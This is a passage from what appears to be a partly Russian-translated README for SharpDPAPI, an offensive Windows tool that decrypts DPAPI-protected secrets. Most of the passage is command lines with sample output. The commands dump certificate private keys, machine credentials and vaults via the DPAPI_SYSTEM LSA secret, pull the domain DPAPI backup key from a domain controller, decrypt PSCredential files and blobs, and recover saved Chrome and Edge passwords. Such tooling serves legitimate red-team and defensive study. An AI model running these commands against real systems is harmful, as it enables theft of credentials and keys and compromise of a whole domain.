(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Действие: Трайаж KeePass
[*] Используется CryptUnprotectData() для расшифровки.
[*] Трайаж файлов ProtectedUserKey.bin KeePass для текущего пользователя
Файл : C:\Users\harmj0y\AppData\Roaming\KeePass\ProtectedUserKey.bin
Доступ : 01.03.2021 13:38:22
Изменён : 04.01.2021 17:49:49
guidMasterKey : {dab90445-0a08-4b27-9110-b75d4a7894d0}
размер : 210
флаги : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
описание :
Байты ключа : 39 2E 63 EF 0E 37 E8 5C 34 ...
SharpDPAPI завершён за 00:00:00.0566660
#### Сертификаты
Команда **certificates** выполнит поиск зашифрованных приватных ключей сертификатов пользователя DPAPI и a) расшифрует их с помощью переданных мастер-ключей "{GUID}:SHA1", b) использует файл `/mkfile:ФАЙЛ` с одной или несколькими привязками мастер-ключей {GUID}:SHA1, c) использует предоставленный ключ резервного копирования домена DPAPI (`/pvk:BASE64...` или `/pvk:key.pvk`) для первоначальной расшифровки мастер-ключей пользователя (как в **masterkeys**), или d) использует `/password:X` для расшифровки мастер-ключей пользователя, которые затем применяются в качестве таблицы поиска для расшифровки. Привязки GUID DPAPI можно восстановить с помощью команды Mimikatz `sekurlsa::dpapi`.
Флаг `/unprotect` использует `CryptUnprotectData()` для расшифровки приватных ключей, *если* команда выполняется в контексте пользователя, чьи сертификаты вы пытаетесь получить. Это можно сделать из _непривилегированного_ контекста без необходимости обращения к LSASS. О том, почему этот подход не используется для учётных данных/хранилищ, см. [документацию Бенджамина здесь](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem).
Конкретный сертификат можно указать с помощью `/target:ФАЙЛ` или `/target:C:\Папка\`. В обоих случаях требуются значения {GUID}:SHA1 (или `/unprotect`), либо b) папка должна содержать мастер-ключи DPAPI, и должен быть предоставлен ключ резервного копирования домена `/pvk`.
По умолчанию отображаются только приватные ключи, связанные с установленным сертификатом. Команда `/showall` отобразит ВСЕ расшифрованные приватные ключи.
Используйте флаг `/cng` для приватных ключей CNG (по умолчанию используется capi).
Использование привязок мастер-ключей домена {GUID}:SHA1:
C:\Temp> SharpDPAPI.exe certificates {dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB513717AA...(обрезано)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Действие: Трайаж сертификатов
Папка : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
Файл : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {dab90445-0a08-4b27-9110-b75d4a7894d0}
Описание : Приватный ключ CryptoAPI
algCrypt : CALG_3DES (длина ключа 192)
algHash : CALG_SHA (32772)
Соль : ef98458bca7135fe1bb89b3715180ae6
HMAC : 5c3c3da2a4f6548a0186c22f86d7bc85
Уникальное имя : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da
Отпечаток : 98A03BC583861DCC19045758C0E0C05162091B6C
Издатель : CN=theshire-DC-CA, DC=theshire, DC=local
Субъект : CN=harmj0y
Дата действия : 22.02.2021 14:19:02
Дата истечения : 22.02.2022 14:19:02
Расширенные использования ключа:
Аутентификация клиента (1.3.6.1.5.5.7.3.2)
[!] Сертификат используется для аутентификации клиента!
---
Безопасная электронная почта (1.3.6.1.5.5.7.3.4)
Шифрующая файловая система (1.3.6.1.4.1.311.10.3.4)
[*] Файл закрытого ключа 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 восстановлен:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----
Использование `/unprotect` для расшифровки найденных пользовательских сертификатов:
C:\Temp> SharpDPAPI.exe certificates /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.11.3
[*] Действие: Анализ сертификатов
[*] Используется `CryptUnprotectData()` для расшифровки.
Папка : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
Файл : f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b
GUID поставщика : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
GUID мастер-ключа : {27db0044-e2aa-4ea2-b2c0-c469e9b29ed9}
Описание : Закрытый ключ
algCrypt : CALG_AES_256 (длина ключа 256)
algHash : CALG_SHA_512 (32782)
Соль : d7e1e00ed8a6249b5f05c487154e83cc0b51f71131530d0d46d3bfc63d890468
HMAC : 4869f296cdcc964262a57e2efc4f2c5df57c2ed7319e297daa2107810da5c171
Уникальное имя : {4A07001C-57BE-4E8B-86D1-43CACDF8D448}
Отпечаток : BBD9B90FE1A4E37BD646CBC922ABE06C24C1E725
Издатель : CN=theshire-DC-CA, DC=theshire, DC=local
Субъект : CN=harmj0y
Дата действия : 18.10.2022 11:40:07
Дата истечения : 18.10.2023 12:00:07
Расширенное использование ключей:
Аутентификация клиента (1.3.6.1.5.5.7.3.2)
[!] Сертификат используется для аутентификации клиента!
Аутентификация сервера (1.3.6.1.5.5.7.3.1)
[*] Файл закрытого ключа f29fa2bb6de62b7d966a407ef203ac45_3fef0615-487e-485b-84b0-193b510dec3b восстановлен:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAxVEW49fMt...(snip)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIDKjCCAhKgAwIBAgIQYwhUr...(snip)...
-----END CERTIFICATE-----
Использование резервного ключа DPAPI домена для предварительной расшифровки всех обнаруженных мастер-ключей:
C:\Temp>SharpDPAPI.exe certificates /pvk:HvG1sAAAAAABAAAAAAAAAAAAAACU...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Действие: Анализ сертификатов
[*] Используется резервный ключ DPAPI домена для анализа мастер-ключей с целью сопоставления ключей расшифровки!
[*] Кэш мастер-ключей пользователя:
{dab90445-0a08-4b27-9110-b75d4a7894d0}:C23AF7432EB51371...(snip)...
Папка : C:\Users\harmj0y\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-937929760-3187473010-80948926-1104
Файл : 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
GUID поставщика : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
GUID мастер-ключа : {dab90445-0a08-4b27-9110-b75d4a7894d0}
Описание : Закрытый ключ CryptoAPI
algCrypt : CALG_3DES (длина ключа 192)
algHash : CALG_SHA (32772)
Соль : ef98458bca7135fe1bb89b3715180ae6
HMAC : 5c3c3da2a4f6548a0186c22f86d7bc85
Уникальное имя : te-UserMod-8c8e0236-76ca-4a36-b4d5-24eaf3c3e1da
Отпечаток : 98A03BC583861DCC19045758C0E0C05162091B6C
Издатель : CN=theshire-DC-CA, DC=theshire, DC=local
Субъект : CN=harmj0y
Дата действия : 22.02.2021 14:19:02
Дата истечения : 22.02.2022 14:19:02
Расширенное использование ключей:
Аутентификация клиента (1.3.6.1.5.5.7.3.2)
[!] Сертификат используется для аутентификации клиента!
Безопасная электронная почта (1.3.6.1.5.5.7.3.4)
Шифрующая файловая система (1.3.6.1.4.1.311.10.3.4)
[*] Файл закрытого ключа 34eaff3ec61d0f012ce1a0cb4c10c053_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 восстановлен:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0WDgv/jH5HuATtPgQSBie5t...(snip)...
-----END RSA PRIVATE KEY-----
---
-----BEGIN CERTIFICATE-----
MIIFujCCBKKgAwIBAgITVQAAAJf6yKyhm5SBVwA...(snip)...
-----END CERTIFICATE-----
#### триаж
Команда **triage** выполняет команды [credentials](#credentials), [vaults](#vaults), [rdg](#rdg) и [certificates](#certificates) для пользователя.
### Триаж машины
#### machinemasterkeys
Команда **machinemasterkeys** повышает привилегии до SYSTEM, чтобы получить секрет LSA `DPAPI_SYSTEM`, который затем используется для расшифровки найденных мастер-ключей DPAPI машины. Она возвращает набор сопоставлений мастер-ключей {GUID}:SHA1.
Требуются локальные права администратора (чтобы получить секрет LSA `DPAPI_SYSTEM`).
C:\Temp>SharpDPAPI.exe machinemasterkeys
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Действие: Триаж файлов мастер-ключей DPAPI машины
[*] Повышение до SYSTEM через дублирование токена для получения секрета LSA
[*] RevertToSelf()
[*] Секрет : DPAPI_SYSTEM
[*] полный: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] Кэш мастер-ключей SYSTEM:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
#### machinecredentials
Команда **machinecredentials** повышает привилегии до SYSTEM, чтобы получить секрет LSA `DPAPI_SYSTEM`, который затем используется для расшифровки найденных мастер-ключей DPAPI машины. Эти ключи затем используются для расшифровки найденных файлов учётных данных машины.
Требуются локальные права администратора (чтобы получить секрет LSA `DPAPI_SYSTEM`).
C:\Temp>SharpDPAPI.exe machinecredentials
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Действие: Триаж учётных данных DPAPI машины
[*] Повышение до SYSTEM через дублирование токена для получения секрета LSA
[*] RevertToSelf()
[*] Секрет : DPAPI_SYSTEM
[*] полный: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] Кэш мастер-ключей SYSTEM:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(snip)...
[*] Триаж системных учётных данных
Папка : C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Credentials
Файл учётных данных: C73A55F92FAE222C18A8989FEA28A1FE
guidMasterKey : {1cb83cb5-96cd-445d-baac-49e97f4eeb72}
размер : 544
флаги : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782/26128
описание : Локальные данные учётных данных
Последнее изменение: 24.03.2019 19:08:43
Имя цели : Domain:batch=TaskScheduler:Task:{B745BF75-D62D-4B1C-84ED-F0437214ECED}
Псевдоним цели :
Комментарий :
Имя пользователя : TESTLAB\harmj0y
Учётные данные : Password123!
Папка : C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials
Файл учётных данных: DFBE70A7E5CC19A398EBF1B96859CE5D
...(snip)...
#### machinevaults
Команда **machinevaults** повышает привилегии до SYSTEM, чтобы получить секрет LSA `DPAPI_SYSTEM`, который затем используется для расшифровки найденных мастер-ключей DPAPI машины. Эти ключи затем используются для расшифровки найденных хранилищ (Vaults) машины.
Требуются локальные права администратора (чтобы получить секрет LSA `DPAPI_SYSTEM`).
C:\Temp>SharpDPAPI.exe machinevaults
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Действие: Триаж хранилищ DPAPI машины
[*] Повышение до SYSTEM через дублирование токена для получения секрета LSA
[*] RevertToSelf()
[*] Секрет : DPAPI_SYSTEM
[*] полный: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] m/u : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] Кэш мастер-ключей SYSTEM:
{1e76e1ee-1c53-4350-9a3d-7dec7afd024a}:4E4193B4C4D2F0420E0656B5F83D03754B565A0C
...(обрезано)...
[*] Анализ хранилищ SYSTEM
[*] Анализ папки хранилища: C:\WINDOWS\System32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
VaultID : 4bf4c442-9b8a-41a0-b380-dd4a704ddb28
Name : Веб-учётные данные
guidMasterKey : {0bd732d9-c396-4f9a-a69a-508632c05235}
size : 324
flags : 0x20000000 (CRYPTPROTECT_SYSTEM)
algHash/algCrypt : 32782/26128
description :
aes128 key : 74CE3D7BCC4D0C4734931041F6D00D09
aes256 key : B497F57730A2F29C3533B76BD6B33EEA231C1F51ED933E0CA1210B9E3A16D081
...(обрезано)...
#### certificates /machine
Команда **certificates /machine** использует хранилище сертификатов машины для поиска расшифровываемых закрытых ключей сертификатов машины. Параметры `/mkfile:X` и `{GUID}:masterkey` можно использовать с командой `/target:[file|folder]`, иначе SharpDPAPI повысит привилегии до SYSTEM для получения секрета LSA DPAPI_SYSTEM, который затем используется для расшифровки найденных мастер-ключей DPAPI машины. Эти ключи затем применяются для расшифровки найденных закрытых ключей сертификатов, зашифрованных с помощью DPAPI системы.
По умолчанию отображаются только закрытые ключи, связанные с установленным сертификатом. Команда `/showall` отобразит ВСЕ расшифрованные закрытые ключи.
Требуются права локального администратора (чтобы получить секрет LSA DPAPI_SYSTEM).
C:\Temp>SharpDPAPI.exe certificates /machine
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.10.0
[*] Действие: Анализ сертификатов
[*] Повышение привилегий до SYSTEM через дублирование токена для получения секрета LSA
[*] RevertToSelf()
[*] Секрет : DPAPI_SYSTEM
[*] полный: DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] м/п : DBA60EB802B6C4B42E1E450BB5781EBD0846E1BF / 6C88CEFD23D0291FA9FE46899D4DE12A180E76C3
[*] Кэш мастер-ключей SYSTEM:
{f12f57e1-dd41-4daa-88f1-37a64034c7e9}:3AEB121ECF2...(обрезано)...
[*] Анализ системных сертификатов
Папка : C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys
Файл : 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0
Provider GUID : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
Master Key GUID : {f12f57e1-dd41-4daa-88f1-37a64034c7e9}
Описание : Закрытый ключ CryptoAPI
algCrypt : CALG_3DES (длина ключа 192)
algHash : CALG_SHA (32772)
Соль : aa8c9e4849455660fc5fc96589f3e40e
HMAC : 9138559ef30fbd70808dca2c1ed02a29
Уникальное имя : te-Machine-50500b00-fddb-4a0d-8aa6-d73404473650
Отпечаток : A82ED8207DF6BC16BB65BF6A91E582263E217A4A
Издатель : CN=theshire-DC-CA, DC=theshire, DC=local
Субъект : CN=dev.theshire.local
Дата действия : 22.02.2021 15:50:43
Дата истечения : 22.02.2022 15:50:43
Расширенные использования ключа:
Аутентификация клиента (1.3.6.1.5.5.7.3.2)
[!] Сертификат используется для аутентификации клиента!
Аутентификация сервера (1.3.6.1.5.5.7.3.1)
[*] Закрытый ключ файла 9377cea385fa1e5bf7815ee2024d0eea_6c712ef3-1467-4f96-bb5c-6737ba66cfb0 восстановлен:
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzRX2ipgM1t9Et4KoP...(обрезано)...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFOjCCBCKgAwIBAgITVQAAAJqDK8j15...(обрезано)...
-----END CERTIFICATE-----
#### machinetriage
Команда **machinetriage** выполняет команды пользователя [machinecredentials](#machinecredentials), [machinevaults](#machinevaults) и [certificates /machine](#certificates--machine).
### Разное
#### ps
Команда **ps** описывает/расшифровывает экспортированный объект PSCredential в формате clixml. Параметр `/target:FILE.xml` *обязателен*.
The command will a) decrypt the file with any "{GUID}:SHA1" masterkeys passed, b) a `/mkfile:FILE` of one or more {GUID}:SHA1 masterkey mappings, c) use a supplied DPAPI domain backup key (`/pvk:BASE64...` or `/pvk:key.pvk`) to first decrypt any user masterkeys (a la **masterkeys**), or d) a `/password:X` to decrypt any user masterkeys, which are then used as a lookup decryption table. DPAPI GUID mappings can be recovered with Mimikatz' `sekurlsa::dpapi` command.
The `/unprotect` flag will use CryptUnprotectData() to decrypt the credenial .xml without masterkeys needed, *if* the command is run from the user context who saved the passwords. This can be done from an _unprivileged_ context, without the need to touch LSASS. For why this approach isn't used for credentials/vaults, see Benjamin's [documentation here](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem).
Decrypt an exported credential .xml using CryptProtectData() (the `/unprotect` flag):
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Action: Describe PSCredential .xml
CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 11:53:09 AM
Modified : 7/25/2019 11:53:09 AM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
Using domain {GUID}:SHA1 masterkey mappings:
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml "{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3"
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Action: Describe PSCredential .xml
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 12:04:12 PM
Modified : 7/25/2019 12:04:12 PM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
Using a domain DPAPI backup key to first decrypt any discoverable masterkeys:
PS C:\Temp> $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
PS C:\Temp> New-Object System.Management.Automation.PSCredential('TESTLAB\user', $SecPassword) | Export-CLIXml C:\Temp\cred.xml
PS C:\Temp> .\SharpDPAPI.exe ps /target:C:\Temp\cred.xml /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Action: Describe PSCredential .xml
[*] Using a domain DPAPI backup key to triage masterkeys for decryption key mappings!
[*] User master key cache:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
CredFile : C:\Temp\cred.xml
Accessed : 7/25/2019 12:04:12 PM
Modified : 7/25/2019 12:04:12 PM
User Name : TESTLAB\user
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
Password : Password123!
#### blob
Команда **blob** описывает/расшифровывает blob DPAPI. Необходимо указать `/target:<BASE64|blob.bin>`.
Команда выполнит:
a) расшифровку blob с помощью переданных мастер-ключей в формате "{GUID}:SHA1",
b) чтение файла `/mkfile:FILE` с одним или несколькими отображениями мастер-ключей {GUID}:SHA1,
c) использование предоставленного резервного ключа домена DPAPI (`/pvk:BASE64...` или `/pvk:key.pvk`) для предварительной расшифровки любых пользовательских мастер-ключей (аналогично команде **masterkeys**),
d) использование `/password:X` для расшифровки пользовательских мастер-ключей, которые затем используются как таблица для поиска ключей расшифровки.
Отображения GUID DPAPI можно извлечь с помощью команды Mimikatz `sekurlsa::dpapi`.
Флаг `/unprotect` использует `CryptUnprotectData()` для расшифровки blob без необходимости в мастер-ключах, *если* команда выполняется в контексте пользователя, сохранившего пароли. Это можно сделать из *непривилегированного* контекста, без необходимости обращаться к LSASS. Подробнее о том, почему этот подход не используется для учётных данных/хранилищ, см. в [документации Бенджамина](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials#problem).
Расшифровка blob с помощью `CryptProtectData()` (флаг `/unprotect`):
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob.bin /unprotect
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Действие: Описание DPAPI blob
[*] Используется CryptUnprotectData() для расшифровки.
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 170
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : Password123!
Использование отображений мастер-ключей домена {GUID}:SHA1:
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin {0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Действие: Описание DPAPI blob
[*] Используется CryptUnprotectData() для расшифровки.
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 314
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...
Использование резервного ключа домена DPAPI для предварительной расшифровки всех обнаруженных мастер-ключей:
C:\Temp>SharpDPAPI.exe blob /target:C:\Temp\blob2.bin /pvk:HvG1sAAAAAABAAAAAAAAAAAAAAC...(snip)...
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.5.0
[*] Действие: Описание DPAPI blob
[*] Используется резервный ключ домена DPAPI для триажа мастер-ключей и получения отображений ключей расшифровки!
[*] Кэш пользовательских мастер-ключей:
{0241bc33-44ae-404a-b05d-a35eea8cbc63}:E7E481877B9D51C17E015EB3C1F72FB887363EE3
guidMasterKey : {0241bc33-44ae-404a-b05d-a35eea8cbc63}
size : 314
flags : 0x0
algHash/algCrypt : 32772 (CALG_SHA) / 26115 (CALG_3DES)
description :
dec(blob) : 01 00 00 00 3F 3F 3F 3F 01 15 3F 11 3F 7A 00 3F 4F 3F 3F ...
#### backupkey
Команда **backupkey** извлекает резервный ключ домена DPAPI с контроллера домена, используя подход API **LsaRetrievePrivateData** [из Mimikatz](https://github.com/gentilkiwi/mimikatz/blob/2fd09bbef0754317cd97c01dbbf49698ae23d9d2/mimikatz/modules/kuhl_m_lsadump.c#L1882-L1927). Этот закрытый ключ затем можно использовать для расшифровки blob мастер-ключей для любого пользователя в домене. И что ещё лучше — этот ключ никогда не меняется ;)
Для извлечения ключа с удалённого контроллера домена требуются права администратора домена (или эквивалентные).
Флаг `/nowrap` предотвращает перенос строки при отображении ключа в формате base64.
Этот blob ключа в формате base64 можно декодировать в бинарный файл `.pvk`, который затем можно использовать с модулем Mimikatz **dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk** или в формате `/pvk:X` с командами SharpDPAPI **masterkeys**, **credentials** или **vault**.
---
По умолчанию SharpDPAPI попытается определить текущий контроллер домена через вызов API **DsGetDcName**. Сервер можно указать с помощью `/server:КОМПЬЮТЕР.домен.com`. Если вы хотите сохранить ключ на диск вместо вывода в виде blob в формате base64, используйте `/file:key.pvk`.
Получение резервного ключа DPAPI для текущего контроллера домена:
C:\Temp>SharpDPAPI.exe backupkey
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Действие: Получение резервного ключа домена DPAPI
[*] Используется текущий контроллер домена: PRIMARY.testlab.local
[*] Предпочтительный GUID резервного ключа: 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Полное имя предпочтительного backupKey: G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Ключ:
HvG1sAAAAAABAAAAAAAAAAAAAACUBAAABwIAAACkAABSU0EyAAgAAA...(обрезано)...
Получение резервного ключа DPAPI для указанного контроллера домена с сохранением резервного ключа в файл:
C:\Temp>SharpDPAPI.exe backupkey /server:primary.testlab.local /file:key.pvk
__ _ _ _ ___
(_ |_ _. ._ ._ | \ |_) /\ |_) |
__) | | (_| | |_) |_/ | /--\ | _|_
|
v1.2.0
[*] Действие: Получение резервного ключа домена DPAPI
[*] Используется сервер: primary.testlab.local
[*] Предпочтительный GUID резервного ключа: 32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Полное имя предпочтительного backupKey: G$BCKUPKEY_32d021e7-ab1c-4877-af06-80473ca3e4d8
[*] Резервный ключ записан в файл: key.pvk
#### search
Команда **search** будет искать потенциальные blob-объекты DPAPI в реестре, файлах, папках и base64-строках. Использование:
SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors] SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] SharpDPAPI.exe search /type:file /path:C:\path\to\file [/maxBytes:] SharpDPAPI.exe search /type:base64 [/base:]
Команда `search` работает, ища следующие байты, которые представляют заголовок (версия + GUID поставщика DPAPI) структуры blob-объекта DPAPI:
0x01, 0x00, 0x00, 0x00, 0xD0, 0x8C, 0x9D, 0xDF, 0x01, 0x15, 0xD1, 0x11, 0x8C, 0x7A, 0x00, 0xC0, 0x4F, 0xC2, 0x97, 0xEB ```
У команды search есть разные аргументы в зависимости от типа сканируемых данных. Чтобы указать тип данных, используйте аргумент /type с значениями registry, folder, file или base64. Если аргумент /type не указан, команда по умолчанию будет искать в реестре.
При поиске в реестре без дополнительных аргументов команда рекурсивно просмотрит ульи HKEY_LOCAL_MACHINE и HKEY_USERS. Используйте параметр /path, чтобы указать корневой ключ для поиска (например, /path:HKLM\Software), и аргумент /showErrors для отображения ошибок, возникающих во время перечисления.
При поиске в файле или папке укажите путь с помощью /path:C:\Путь\к\файлу\или\папке и при необходимости используйте /maxBytes:<int>, чтобы задать количество байтов для чтения из каждого файла (по умолчанию: 1024 байта). Команда будет считывать байты с начала файла и искать blob-объекты DPAPI. Используйте /showErrors, чтобы отобразить ошибки, возникающие во время перечисления.
При поиске в base64-объекте укажите кодированные в base64 байты для сканирования с помощью параметра /base64:<base64 строка>.
Если утилита запущена с повышенными правами на машине, которая является клиентом SCCM, и если в среде SCCM настроена учётная запись сетевого доступа (NAA), то blob-объекты DPAPI, защищённые системным мастер-ключом и содержащие учётные данные NAA, могут быть извлечены через WMI. Команда SCCM запросит blob-объекты через WMI, получит системные мастер-ключи и расшифрует blob-объекты.
Команда logins будет искать файлы 'Login Data' Chrome и расшифровывать сохранённые пароли. Если выполнение происходит в не повышенном контексте, то автоматически будет использоваться CryptProtectData() для попытки расшифровки значений. Если указано /browser:edge, то обрабатывается новая версия браузера Edge на основе Chromium.
Файлы Login Data также могут быть расшифрованы с помощью:
a) любых мастер-ключей в формате {GUID}:SHA1 {GUID}:SHA1 ...,
b) файла /mkfile:ФАЙЛ с одним или несколькими отображениями мастер-ключей {GUID}:SHA1,
c) предоставленного резервного ключа домена DPAPI (/pvk:BASE64... или /pvk:key.pvk) для предварительной расшифровки любых пользовательских мастер-ключей,
d) /password:X для расшифровки любых пользовательских мастер-ключей, которые затем используются в качестве таблицы поиска для расшифровки.
Отображения GUID DPAPI можно извлечь с помощью команды Mimikatz sekurlsa::dpapi.
Конкретный файл Login Data можно указать с помощью /target:ФАЙЛ. Удаленный сервер можно указать с помощью /server:СЕРВЕР, если также предоставлен /pvk или /password. При обработке новых экземпляров Chrome/Edge можно указать AES-ключ состояния /statekey:X.
По умолчанию логины отображаются в формате csv. Это можно изменить с помощью /format:table для вывода в виде таблицы. Также по умолчанию отображаются только записи с ненулевыми значениями паролей, но все значения можно вывести с помощью /showall.
